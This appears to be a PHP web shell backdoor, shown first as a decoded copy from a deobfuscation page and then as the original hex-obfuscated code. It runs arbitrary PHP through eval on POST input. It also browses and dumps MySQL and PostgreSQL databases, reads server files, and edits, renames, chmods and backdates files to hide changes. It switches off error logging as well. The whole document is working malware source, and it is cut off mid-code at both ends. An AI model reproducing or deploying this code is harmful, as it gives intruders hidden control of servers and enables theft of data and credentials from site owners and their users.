$i["file"]; } $this->query("drop table hard2"); return array("file" => implode("
", $r)); break; } return false; } function dump($table, $fp = false) { switch ($this->type) { case "mysql": $res = $this->query("SHOW CREATE TABLE `" . $table . "`"); $create = mysql_fetch_array($res); $sql = $create[1] . ";\xa"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $this->query("SELECT * FROM `" . $table . "`"); $i = 0; $head = true; while ($dokl = $this->fetch()) { $sql = ''; if ($i % 1000 == 0) { $head = true; $sql = ";
"; } $columns = array(); foreach ($dokl as $k => $v) { if ($v === null) { $dokl[$k] = "NULL"; } elseif (is_int($v)) { $dokl[$k] = $v; } else { $dokl[$k] = "'" . @mysql_real_escape_string($v) . "'"; } $columns[] = "`" . $k . "`"; } if ($head) { $sql .= "INSERT INTO `" . $table . "` (" . implode(", ", $columns) . ") VALUES \xa\x9(" . implode(", ", $dokl) . ")"; $head = false; } else { $sql .= "
\x9,(" . implode(", ", $dokl) . ")"; } if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $i++; } if (!$head) { if ($fp) { fwrite($fp, ";\xa
"); } else { echo ";\xa
"; } } break; case "pgsql": $this->query("SELECT * FROM " . $table); while ($dokl = $this->fetch()) { $columns = array(); foreach ($dokl as $k => $v) { $dokl[$k] = "'" . addslashes($v) . "'"; $columns[] = $k; } $sql = "INSERT INTO " . $table . " (" . implode(", ", $columns) . ") VALUES (" . implode(", ", $dokl) . ");" . "
"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } } break; } return false; } } $db = new DbClass($_POST["type"]); if (@$_POST["p2"] == "download" && @$_POST["p1"] != "select") { $db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"]); $db->selectdb($_POST["sql_base"]); switch ($_POST["charset"]) { case "Windows-1251": $db->setCharset("cp1251"); break; case "UTF-8": $db->setCharset("utf8"); break; case "KOI8-R": $db->setCharset("koi8r"); break; case "KOI8-U": $db->setCharset("koi8u"); break; case "cp866": $db->setCharset("cp866"); break; } if (empty($_POST["file"])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach ($_POST["tbl"] as $v) { $db->dump($v); } die; } elseif ($fp = @fopen($_POST["file"], "w")) { foreach ($_POST["tbl"] as $v) { $db->dump($v, $fp); } fclose($fp); unset($_POST["p2"]); } else { die("<script>alert("Error! Can't open file");window.history.back(-1)</script>"); } } hardHeader(); echo "\xa<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\xa<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\xa<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'><input type=hidden name=charset value='" . (isset($_POST["charset"]) ? $_POST["charset"] : '') . "'>\xa<td><label><select name='type'><option value='mysql' "; if (@$_POST["type"] == "mysql") { echo "selected"; } echo ">MySql</option><option value='pgsql' "; if (@$_POST["type"] == "pgsql") { echo "selected"; } echo ">PostgreSql</option></select></label></td>\xa<td><input type=text name=sql_host value="" . (empty($_POST["sql_host"]) ? "localhost" : htmlspecialchars($_POST["sql_host"])) . ""></td>\xa<td><input type=text name=sql_login value="" . (empty($_POST["sql_login"]) ? "root" : htmlspecialchars($_POST["sql_login"])) . ""></td>\xa<td><input type=text name=sql_pass value="" . (empty($_POST["sql_pass"]) ? '' : htmlspecialchars($_POST["sql_pass"])) . "" required></td><td>"; $tmp = "<input type=text name=sql_base value=''>"; if (isset($_POST["sql_host"])) { if ($db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"])) { switch ($_POST["charset"]) { case "Windows-1251": $db->setCharset("cp1251"); break; case "UTF-8": $db->setCharset("utf8"); break; case "KOI8-R": $db->setCharset("koi8r"); break; case "KOI8-U": $db->setCharset("koi8u"); break; case "cp866": $db->setCharset("cp866"); break; } $db->listDbs(); echo "<label><select name=sql_base><option value=''></option>"; while ($dokl = $db->fetch()) { list($key, $value) = each($dokl); echo "<option value="" . $value . "" " . ($value == $_POST["sql_base"] ? "selected" : '') . ">" . $value . "</option>"; } echo "</select></label>"; } else { echo $tmp; } } else { echo $tmp; } echo "</td>\xa <td><input type=submit value='submit' onclick='fs(d.sf);'></td>\xa <td><input type=checkbox name=sql_count value='on'" . (empty($_POST["sql_count"]) ? '' : " checked") . "> count the number of rows</td>\xa </tr>\xa </table>\xa <script>
s_db='" . @addslashes($_POST["sql_base"]) . "';
function fs(f) {\xa if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';\xa if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;\xa if(l && d.sf.p3) d.sf.p3.value = l;\xa d.sf.submit();\xa }\xa function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\xa }
</script>"; if (isset($db) && $db->link) { echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if (!empty($_POST["sql_base"])) { $db->selectdb($_POST["sql_base"]); echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while ($dokl = $db->fetch($tbls_res)) { list($key, $value) = each($dokl); if (!empty($_POST["sql_count"])) { $n = $db->fetch($db->query("SELECT COUNT(*) as n FROM " . $value . '')); } $value = htmlspecialchars($value); echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick="st('" . $value . "',1)">" . $value . "</a>" . (empty($_POST["sql_count"]) ? " " : " <small>({$n["n"]})</small>") . "</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; if (@$_POST["p1"] == "select") { $_POST["p1"] = "query"; $_POST["p3"] = $_POST["p3"] ? $_POST["p3"] : 1; $db->query("SELECT COUNT(*) as n FROM " . $_POST["p2"]); $num = $db->fetch(); $pages = ceil($num["n"] / 30); echo "<script>d.sf.onsubmit=function(){st("" . $_POST["p2"] . "", d.sf.p3.value)}</script><span>" . $_POST["p2"] . "</span> ({$num["n"]} records) Page # <input type=text name='p3' value=" . (int) $_POST["p3"] . ">"; echo " of {$pages}"; if ($_POST["p3"] > 1) { echo " <a href=# onclick='st("" . $_POST["p2"] . "", " . ($_POST["p3"] - 1) . ")'>< Prev</a>"; } if ($_POST["p3"] < $pages) { echo " <a href=# onclick='st("" . $_POST["p2"] . "", " . ($_POST["p3"] + 1) . ")'>Next ></a>"; } $_POST["p3"]--; if ($_POST["type"] == "pgsql") { $_POST["p2"] = "SELECT * FROM " . $_POST["p2"] . " LIMIT 30 OFFSET " . $_POST["p3"] * 30; } else { $_POST["p2"] = "SELECT * FROM `" . $_POST["p2"] . "` LIMIT " . $_POST["p3"] * 30 . ",30"; } echo "<br><br>"; } if (@$_POST["p1"] == "query" && !empty($_POST["p2"])) { $db->query(@$_POST["p2"]); if ($db->res !== false) { $title = false; echo "<table width=100% cellspacing=1 cellpadding=2 class=main>"; $line = 1; while ($dokl = $db->fetch()) { if (!$title) { echo "<tr>"; foreach ($dokl as $key => $value) { echo "<th>" . $key . "</th>"; } reset($dokl); $title = true; echo "</tr><tr>"; $line = 2; } echo "<tr class="l" . $line . "">"; $line = $line == 1 ? 2 : 1; foreach ($dokl as $key => $value) { if ($value == null) { echo "<td><i>null</i></td>"; } else { echo "<td>" . nl2br(htmlspecialchars($value)) . "</td>"; } } echo "</tr>"; } echo "</table>"; } else { echo "<div><b>Error:</b> " . htmlspecialchars($db->error()) . "</div>"; } } echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; if (!empty($_POST["p2"]) && $_POST["p1"] != "loadfile") { echo htmlspecialchars($_POST["p2"]); } echo "</textarea><br/><input type=submit value='Execute'>"; echo "</td></tr>"; } echo "</table></form><br/>"; if ($_POST["type"] == "mysql") { $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); if ($db->fetch()) { echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>"; } } if (@$_POST["p1"] == "loadfile") { $file = $db->loadFile($_POST["p2"]); echo "<br/><pre class=ml1>" . htmlspecialchars($file["file"]) . "</pre>"; } } else { echo htmlspecialchars($db->error()); } echo "</div>"; hardFooter(); } goto RNCDM; iglSy: if (empty($_POST["a"])) { if (isset($dect) && function_exists("action" . $dect)) { $_POST["a"] = $dect; } else { $_POST["a"] = "FilesMan"; } } goto zGeli; xGs07: function actionFilesTools() { if (isset($_POST["p1"])) { $_POST["p1"] = urldecode($_POST["p1"]); } if (@$_POST["p2"] == "download") { if (@is_file($_POST["p1"]) && @is_readable($_POST["p1"])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=" . basename($_POST["p1"])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST["p1"]); header("Content-Type: " . $type); } else { header("Content-Type: application/octet-stream"); } $fp = @fopen($_POST["p1"], "r"); if ($fp) { while (!@feof($fp)) { echo @fread($fp, 1024); } fclose($fp); } } die; } if (@$_POST["p2"] == "mkfile") { if (!file_exists($_POST["p1"])) { $fp = @fopen($_POST["p1"], "w"); if ($fp) { $_POST["p2"] = "edit"; fclose($fp); } } } hardHeader(); echo "<h1>File tools</h1><div class=content>"; if (!file_exists(@$_POST["p1"])) { echo "File not exists"; hardFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST["p1"])); if (!$uid) { $uid["name"] = @fileowner($_POST["p1"]); $gid["name"] = @filegroup($_POST["p1"]); } else { $gid = @posix_getgrgid(@filegroup($_POST["p1"])); } echo "<span>Name:</span> <b style="color:white">" . htmlspecialchars(@basename($_POST["p1"])) . "</b> <span>Size:</span> <b style="color:white">" . (is_file($_POST["p1"]) ? viewSize(filesize($_POST["p1"])) : "-") . " </b><span>Permission:</span> " . viewPermsColor($_POST["p1"]) . " <span>Owner/Group:</span> " . $uid["name"] . "/" . $gid["name"] . "<br>"; echo "<span>Create time:</span> <b style="color:white">" . date("Y-m-d H:i:s", filectime($_POST["p1"])) . "</b> <span>Access time:</span> <b style="color:white">" . date("Y-m-d H:i:s", fileatime($_POST["p1"])) . "</b> <span>Modify time:</span> <b style="color:white">" . date("Y-m-d H:i:s", filemtime($_POST["p1"])) . "</b><br><br>"; if (empty($_POST["p2"])) { $_POST["p2"] = "view"; } if (is_file($_POST["p1"])) { $m = array("back", "View", "Highlight", "Download", "Hexdump", "Edit", "Chmod", "Rename", "Touch", "Frame"); } else { $m = array("Chmod", "Rename", "Touch"); } foreach ($m as $v) { echo "<a style="color:#FF9F43 !important" href=# onclick="g(null,null,'" . urlencode($_POST["p1"]) . "','" . strtolower($v) . "')">" . (strtolower($v) == @$_POST["p2"] ? "<b>[ " . $v . " ]</b>" : $v) . "</a> "; } echo "<br><br>"; switch ($_POST["p2"]) { case "view": echo "<pre class=ml1>"; $fp = @fopen($_POST["p1"], "r"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "</pre>"; break; case "highlight": if (@is_readable($_POST["p1"])) { echo "<div class=ml1 style="background-color: #e1e1e1;color:black;">"; $oRb = @highlight_file($_POST["p1"], true); echo str_replace(array("<span ", "</span>"), array("<font ", "</font>"), $oRb) . "</div>"; } break; case "chmod": if (!empty($_POST["p3"])) { $perms = 0; for ($i = strlen($_POST["p3"]) - 1; $i >= 0; --$i) { $perms += (int) $_POST["p3"][$i] * pow(8, strlen($_POST["p3"]) - $i - 1); } if (!@chmod($_POST["p1"], $perms)) { echo "Can't set permissions!<br><script>document.mf.p3.value="";</script>"; } } clearstatcache(); echo "<script>p3_="";</script><form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,this.chmod.value);return false;"><input type=text name=chmod value="" . substr(sprintf("%o", fileperms($_POST["p1"])), -4) . ""><input type=submit value="submit"></form>"; break; case "edit": if (!is_writable($_POST["p1"])) { echo "File isn't writeable"; break; } if (!empty($_POST["p3"])) { $time = @filemtime($_POST["p1"]); $_POST["p3"] = substr($_POST["p3"], 1); $fp = @fopen($_POST["p1"], "w"); if ($fp) { @fwrite($fp, $_POST["p3"]); @fclose($fp); echo "<b style="color:#28C76F !important">Saved!<b><br><script>p3_="";</script>"; @touch($_POST["p1"], $time, $time); } } echo "<form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>"; $fp = @fopen($_POST["p1"], "r"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "</textarea><input type=submit value="submit"></form>"; break; case "hexdump": $c = @file_get_contents($_POST["p1"]); $n = 0; $h = array("00000000<br>", '', ''); $len = strlen($c); for ($i = 0; $i < $len; ++$i) { $h[1] .= sprintf("%02X", ord($c[$i])) . " "; switch (ord($c[$i])) { case 0: $h[2] .= " "; break; case 9: $h[2] .= " "; break; case 10: $h[2] .= " "; break; case 13: $h[2] .= " "; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i + 1 < $len) { $h[0] .= sprintf("%08X", $i + 1) . "<br>"; } $h[1] .= "<br>"; $h[2] .= "\xa"; } } echo "<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>" . $h[0] . "</pre></span></td><td bgcolor=#060a10><pre>" . $h[1] . "</pre></td><td bgcolor=#202832><pre>" . htmlspecialchars($h[2]) . "</pre></td></tr></table>"; break; case "rename": if (!empty($_POST["p3"])) { if (!@rename($_POST["p1"], $_POST["p3"])) { echo "Can't rename!<br>"; } else { die("<script>g(null,null,"" . urlencode($_POST["p3"]) . "",null,"")</script>"); } } echo "<form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,this.name.value);return false;"><input type=text name=name value="" . htmlspecialchars($_POST["p1"]) . ""><input type=submit value="submit"></form>"; break; case "back": die("<script>g('FilesMan',null,'','','');</script>"); break; case "touch": if (!empty($_POST["p3"])) { $time = strtotime($_POST["p3"]); if ($time) { if (!touch($_POST["p1"], $time, $time)) { echo "Fail!"; } else { echo "Touched!"; } } else { echo "Bad time format!"; } } clearstatcache(); echo "<script>p3_="";</script><form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,this.touch.value);return false;"><input type=text name=touch value="" . date("Y-m-d H:i:s", @filemtime($_POST["p1"])) . ""><input type=submit value="submit"></form>"; break; case "frame": $frameSrc = substr(htmlspecialchars($GLOBALS["cwd"]), strlen(htmlspecialchars($_SERVER["DOCUMENT_ROOT"]))); if ($frameSrc[0] != "/") { $frameSrc = "/" . $frameSrc; } if ($frameSrc[strlen($frameSrc) - 1] != "/") { $frameSrc = $frameSrc . "/"; } $frameSrc = $frameSrc . htmlspecialchars($_POST["p1"]); echo "<iframe width="100%" height="900px" scrolling="no" src=" . $frameSrc . " onload="onload=height=contentDocument.body.scrollHeight"></iframe>"; break; } echo "</div>"; hardFooter(); } goto h15M0; bf5rl: $wad = true; goto Phrpj; zVhWb: @ini_set("log_errors", 0); goto Qg0Nv; zGeli: if (!empty($_POST["a"]) && function_exists("action" . $_POST["a"])) { call_user_func("action" . $_POST["a"]); } ?>Did this file decode correctly?
Original Code
<?php
goto U46u7; WxtG7: function actionPhp() { if (isset($_POST["\141\x6a\x61\x78"])) { $_COOKIE[md5($_SERVER["\110\x54\124\x50\x5f\110\x4f\x53\x54"]) . "\x61\152\141\x78"] = true; ob_start(); $temp = "\144\x6f\x63\x75\x6d\145\x6e\x74\x2e\x67\x65\x74\x45\154\x65\x6d\145\x6e\x74\x42\171\x49\x64\50\47\120\x68\x70\x4f\165\164\160\165\x74\x27\51\x2e\x73\164\171\154\x65\x2e\x64\x69\x73\160\x6c\141\171\75\47\47\x3b\144\x6f\x63\x75\155\145\156\x74\56\x67\x65\164\x45\x6c\x65\x6d\145\156\164\102\x79\x49\x64\x28\47\x50\x68\160\117\x75\x74\160\x75\164\47\51\56\151\x6e\156\x65\x72\110\x54\115\114\x3d\x27" . addcslashes(htmlspecialchars(ob_get_clean()), "\xa\xd\x9\134\x27\x0") . "\47\x3b\xa"; echo strlen($temp), "\12", $temp; die; } hardHeader(); if (isset($_POST["\x70\x32"]) && $_POST["\x70\x32"] == "\151\156\x66\157") { echo "\74\150\61\76\x50\x48\x50\40\151\x6e\x66\x6f\74\57\x68\61\x3e\74\x64\151\166\40\143\154\141\163\163\x3d\143\x6f\156\164\x65\x6e\x74\x3e"; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace("\41\x62\157\x64\171\40\173\56\52\175\x21\155\163\x69\125", '', $tmp); $tmp = preg_replace("\41\141\x3a\134\x77\x2b\x20\173\x2e\52\x7d\41\155\163\151\125", '', $tmp); $tmp = preg_replace("\x21\x68\61\41\x6d\163\151\125", "\150\62", $tmp); $tmp = preg_replace("\x21\164\x64\x2c\x20\164\x68\40\x7b\x28\56\x2a\x29\175\x21\x6d\x73\151\x55", "\x2e\145\54\40\56\166\x2c\x20\56\x68\x2c\x20\56\150\40\164\150\x20\173\44\x31\175", $tmp); $tmp = preg_replace("\x21\x62\157\144\171\54\40\x74\x64\x2c\x20\x74\150\x2c\40\x68\62\54\x20\x68\x32\x20\x7b\56\x2a\175\x21\155\163\151\125", '', $tmp); echo $tmp; echo "\74\x2f\x64\151\166\76\74\142\162\x3e"; } if (empty($_POST["\141\152\141\170"]) && !empty($_POST["\x70\x31"])) { $_COOKIE[md5($_SERVER["\x48\x54\124\x50\x5f\110\x4f\x53\124"]) . "\x61\152\141\x78"] = false; } echo "\74\x68\61\x3e\105\170\145\143\x75\164\x69\x6f\x6e\40\x50\x48\120\x2d\x63\157\144\x65\x3c\x2f\150\61\x3e\74\144\x69\166\x20\143\x6c\x61\x73\x73\75\143\157\156\x74\x65\x6e\164\x3e\74\x66\157\162\x6d\40\x6e\141\155\x65\75\160\146\40\155\145\x74\x68\157\144\75\x70\157\163\x74\x20\x6f\156\x73\165\142\x6d\x69\164\x3d\x22\151\x66\x28\x74\150\x69\x73\56\x61\152\x61\x78\56\143\x68\x65\143\x6b\145\x64\x29\x7b\141\x28\156\165\x6c\x6c\54\156\x75\154\x6c\54\x74\x68\x69\x73\56\143\x6f\144\x65\x2e\166\x61\x6c\165\145\x29\73\175\145\x6c\163\x65\x7b\x67\50\x6e\x75\x6c\x6c\54\156\165\154\154\x2c\x74\150\x69\x73\x2e\143\157\144\x65\x2e\166\x61\x6c\165\x65\54\47\x27\x29\73\x7d\162\x65\x74\x75\x72\156\x20\x66\141\154\x73\145\x3b\x22\76\74\x74\x65\170\x74\x61\162\145\x61\x20\156\141\155\145\x3d\x63\157\144\145\x20\143\154\x61\163\163\x3d\x62\x69\x67\141\x72\145\141\x20\151\x64\x3d\x50\150\160\x43\x6f\x64\145\x3e" . (!empty($_POST["\160\x31"]) ? htmlspecialchars($_POST["\160\61"]) : '') . "\74\57\x74\145\x78\164\x61\x72\145\141\x3e\74\x69\156\x70\x75\164\x20\x74\x79\160\x65\75\163\x75\x62\x6d\151\x74\40\166\141\154\165\x65\75\x45\166\141\154\40\x73\x74\x79\154\145\x3d\x22\155\x61\x72\147\x69\x6e\55\x74\x6f\x70\x3a\x35\x70\170\42\x3e"; echo "\40\x3c\151\156\160\165\164\40\164\x79\160\145\x3d\x63\150\145\x63\153\142\x6f\170\40\156\141\155\x65\75\141\x6a\x61\x78\40\166\x61\x6c\x75\145\75\61\x20" . ($_COOKIE[md5($_SERVER["\110\124\x54\120\x5f\110\x4f\x53\x54"]) . "\x61\152\141\x78"] ? "\143\x68\145\143\153\x65\x64" : '') . "\76\x20\163\x65\156\x64\x20\x75\x73\x69\x6e\x67\40\x41\112\x41\130\x3c\57\146\157\x72\155\76\x3c\160\x72\145\x20\151\x64\75\120\x68\x70\x4f\165\164\x70\x75\164\x20\x73\x74\x79\x6c\x65\75\42" . (empty($_POST["\x70\61"]) ? "\144\151\x73\160\154\141\171\x3a\156\x6f\x6e\145\73" : '') . "\x6d\141\x72\147\x69\156\x2d\164\157\x70\x3a\65\x70\170\73\42\x20\x63\x6c\141\x73\163\x3d\155\154\x31\x3e"; if (!empty($_POST["\160\x31"])) { ob_start(); eval($_POST["\x70\x31"]); echo htmlspecialchars(ob_get_clean()); } echo "\74\x2f\160\x72\x65\76\74\57\144\151\x76\76"; hardFooter(); } goto uKB5l; ZTliB: function actionStringTools() { if (!function_exists("\x68\145\x78\x32\142\151\x6e")) { function hex2bin($p) { return decbin(hexdec($p)); } } if (!function_exists("\142\x69\156\150\x65\x78")) { function binhex($p) { return dechex(bindec($p)); } } if (!function_exists("\x68\x65\170\x32\141\x73\143\151\151")) { function hex2ascii($p) { $r = ''; for ($i = 0; $i < strLen($p); $i += 2) { $r .= chr(hexdec($p[$i] . $p[$i + 1])); } return $r; } } if (!function_exists("\x61\163\143\151\x69\x32\x68\x65\170")) { function ascii2hex($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= sprintf("\x25\x30\x32\130", ord($p[$i])); } return strtoupper($r); } } if (!function_exists("\146\165\154\x6c\137\x75\162\154\145\156\143\x6f\x64\145")) { function full_urlencode($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= "\45" . dechex(ord($p[$i])); } return strtoupper($r); } } $stringTools = array("\102\x61\163\x65\x36\64\x20\x65\x6e\143\157\144\145" => "\x62\x61\x73\x65\x36\64\137\145\x6e\x63\157\x64\145", "\x42\141\163\145\x36\x34\x20\x64\145\x63\x6f\x64\145" => "\142\x61\163\145\x36\64\x5f\x64\145\143\x6f\x64\x65", "\x55\162\154\x20\x65\x6e\143\157\144\145" => "\x75\162\x6c\x65\x6e\x63\x6f\x64\x65", "\x55\x72\x6c\x20\x64\x65\x63\157\x64\145" => "\165\162\x6c\x64\x65\143\x6f\144\x65", "\106\x75\x6c\154\40\165\x72\154\x65\x6e\143\x6f\144\x65" => "\146\x75\154\154\137\x75\x72\x6c\x65\x6e\x63\157\x64\145", "\x6d\144\65\40\150\x61\x73\x68" => "\155\x64\65", "\x73\150\141\61\40\150\141\163\x68" => "\x73\150\x61\x31", "\143\x72\x79\x70\x74" => "\x63\x72\171\160\164", "\x43\x52\x43\x33\62" => "\143\162\x63\x33\x32", "\101\123\x43\x49\x49\x20\x74\x6f\40\110\105\x58" => "\141\x73\x63\151\x69\62\150\x65\170", "\110\105\x58\40\x74\x6f\40\101\x53\x43\x49\111" => "\150\x65\170\62\141\x73\143\151\151", "\110\x45\130\x20\x74\x6f\40\104\105\103" => "\x68\145\x78\x64\145\143", "\x48\105\130\x20\x74\157\40\102\111\116" => "\x68\x65\x78\x32\x62\x69\156", "\104\105\103\x20\164\x6f\40\x48\x45\130" => "\x64\145\143\150\145\x78", "\104\x45\x43\x20\164\157\x20\x42\111\116" => "\x64\x65\143\x62\x69\x6e", "\x42\x49\116\x20\x74\157\x20\110\105\x58" => "\142\x69\x6e\150\145\x78", "\x42\111\x4e\x20\164\x6f\40\104\105\x43" => "\x62\151\156\x64\145\x63", "\x53\x74\162\151\x6e\147\40\x74\x6f\x20\154\157\167\145\162\x20\x63\x61\163\145" => "\163\164\162\x74\x6f\154\x6f\167\145\162", "\x53\x74\x72\x69\156\147\40\x74\x6f\40\x75\160\160\145\x72\x20\x63\x61\x73\x65" => "\x73\164\x72\164\157\x75\x70\160\145\x72", "\x48\x74\155\x6c\163\160\145\143\151\x61\154\143\150\x61\162\x73" => "\150\x74\155\154\x73\x70\145\x63\151\x61\x6c\x63\x68\141\x72\x73", "\123\164\162\151\156\147\40\x6c\x65\156\147\x74\x68" => "\x73\164\162\x6c\145\x6e"); if (isset($_POST["\141\152\x61\x78"])) { prototype(md5($_SERVER["\110\x54\124\120\137\110\x4f\x53\x54"]) . "\x61\x6a\141\x78", true); ob_start(); if (in_array($_POST["\160\61"], $stringTools)) { echo $_POST["\160\x31"]($_POST["\160\62"]); } $temp = "\x64\x6f\x63\165\155\x65\156\164\56\x67\145\x74\x45\154\145\155\x65\x6e\x74\102\x79\111\x64\50\47\163\x74\x72\x4f\165\x74\160\165\x74\x27\x29\x2e\163\x74\x79\x6c\145\x2e\144\151\x73\x70\154\141\171\75\47\47\73\x64\x6f\x63\x75\x6d\x65\x6e\164\56\x67\x65\164\x45\x6c\x65\155\145\x6e\x74\102\171\111\x64\50\47\x73\164\x72\x4f\165\164\160\x75\x74\47\51\56\151\156\x6e\145\162\110\124\115\x4c\x3d\47" . addcslashes(htmlspecialchars(ob_get_clean()), "\12\15\x9\134\47\0") . "\47\x3b\xa"; echo strlen($temp), "\xa", $temp; die; } if (empty($_POST["\x61\152\141\170"]) && !empty($_POST["\x70\x31"])) { prototype(md5($_SERVER["\110\124\124\x50\x5f\110\x4f\x53\124"]) . "\x61\x6a\141\170", 0); } hardHeader(); echo "\x3c\x68\61\x3e\x53\164\x72\151\x6e\147\40\143\x6f\x6e\166\145\162\x73\151\x6f\x6e\163\x3c\x2f\x68\61\x3e\x3c\x64\x69\x76\40\143\x6c\141\x73\x73\x3d\x63\x6f\x6e\164\x65\156\x74\76"; echo "\x3c\146\x6f\162\155\40\156\141\x6d\145\75\47\164\157\x6f\154\x73\106\157\x72\155\x27\40\x6f\156\123\165\x62\x6d\151\x74\75\47\x69\146\50\x74\150\x69\163\56\x61\x6a\x61\x78\x2e\x63\150\145\x63\x6b\145\x64\51\x7b\141\50\x6e\x75\x6c\x6c\54\x6e\x75\x6c\154\54\x74\150\x69\163\56\163\145\154\145\x63\x74\x54\157\157\154\x2e\x76\141\x6c\x75\145\54\x74\x68\x69\x73\56\x69\x6e\x70\x75\x74\56\166\x61\154\165\145\x29\73\175\x65\154\x73\x65\x7b\147\50\156\165\154\154\54\156\x75\x6c\x6c\x2c\x74\x68\x69\163\x2e\163\145\154\x65\x63\164\124\x6f\157\x6c\56\166\141\x6c\165\145\x2c\x74\150\151\x73\56\x69\x6e\x70\x75\164\x2e\x76\141\x6c\165\x65\x29\73\175\x20\x72\x65\164\x75\x72\x6e\x20\146\141\x6c\163\145\73\47\x3e\74\154\141\142\x65\x6c\x3e\74\x73\x65\154\145\143\x74\40\x6e\141\155\x65\x3d\x27\163\145\154\145\x63\164\x54\x6f\x6f\x6c\x27\76"; foreach ($stringTools as $k => $v) { echo "\x3c\x6f\x70\164\151\157\156\x20\166\x61\154\x75\145\x3d\x27" . htmlspecialchars($v) . "\x27\x3e" . $k . "\74\x2f\157\160\x74\151\157\156\x3e"; } echo "\74\57\x73\x65\154\x65\x63\164\76\x3c\x2f\x6c\x61\142\x65\154\76\74\x69\156\160\x75\x74\40\164\171\x70\145\75\x27\x73\165\x62\x6d\x69\x74\x27\x20\166\141\154\x75\x65\75\x27\x73\165\x62\155\151\164\x27\x2f\76\x20\x3c\x69\x6e\x70\x75\164\40\x74\171\160\x65\x3d\x63\x68\145\143\x6b\142\157\170\40\156\x61\155\x65\x3d\141\x6a\141\170\x20\166\141\154\165\x65\75\61\x20" . (@$_COOKIE[md5($_SERVER["\x48\124\124\x50\x5f\x48\x4f\x53\x54"]) . "\x61\x6a\141\x78"] ? "\x63\x68\145\143\153\x65\x64" : '') . "\x3e\x20\163\x65\x6e\144\x20\x75\x73\x69\x6e\x67\x20\x41\x4a\101\x58\x3c\x62\162\76\74\x74\x65\x78\x74\x61\x72\145\x61\x20\x6e\x61\155\x65\x3d\x27\151\x6e\x70\165\164\47\40\x73\164\x79\154\x65\x3d\x27\155\141\162\x67\x69\156\x2d\x74\157\x70\72\x35\160\x78\47\x20\143\x6c\141\163\x73\x3d\x62\x69\x67\x61\162\145\x61\76" . (empty($_POST["\160\61"]) ? '' : htmlspecialchars(@$_POST["\160\x32"])) . "\x3c\57\x74\145\170\x74\x61\162\x65\141\x3e\74\x2f\x66\157\162\x6d\x3e\x3c\160\162\145\40\x63\154\x61\x73\x73\75\47\155\x6c\x31\x27\40\x73\164\171\154\145\x3d\x27" . (empty($_POST["\160\61"]) ? "\x64\151\x73\160\154\141\x79\72\x6e\157\x6e\x65\73" : '') . "\x6d\141\x72\x67\x69\x6e\x2d\164\157\160\x3a\65\160\170\x27\40\151\144\75\x27\x73\x74\162\x4f\165\x74\x70\x75\164\x27\x3e"; if (!empty($_POST["\x70\x31"])) { if (in_array($_POST["\x70\x31"], $stringTools)) { echo htmlspecialchars($_POST["\160\x31"]($_POST["\160\x32"])); } } echo 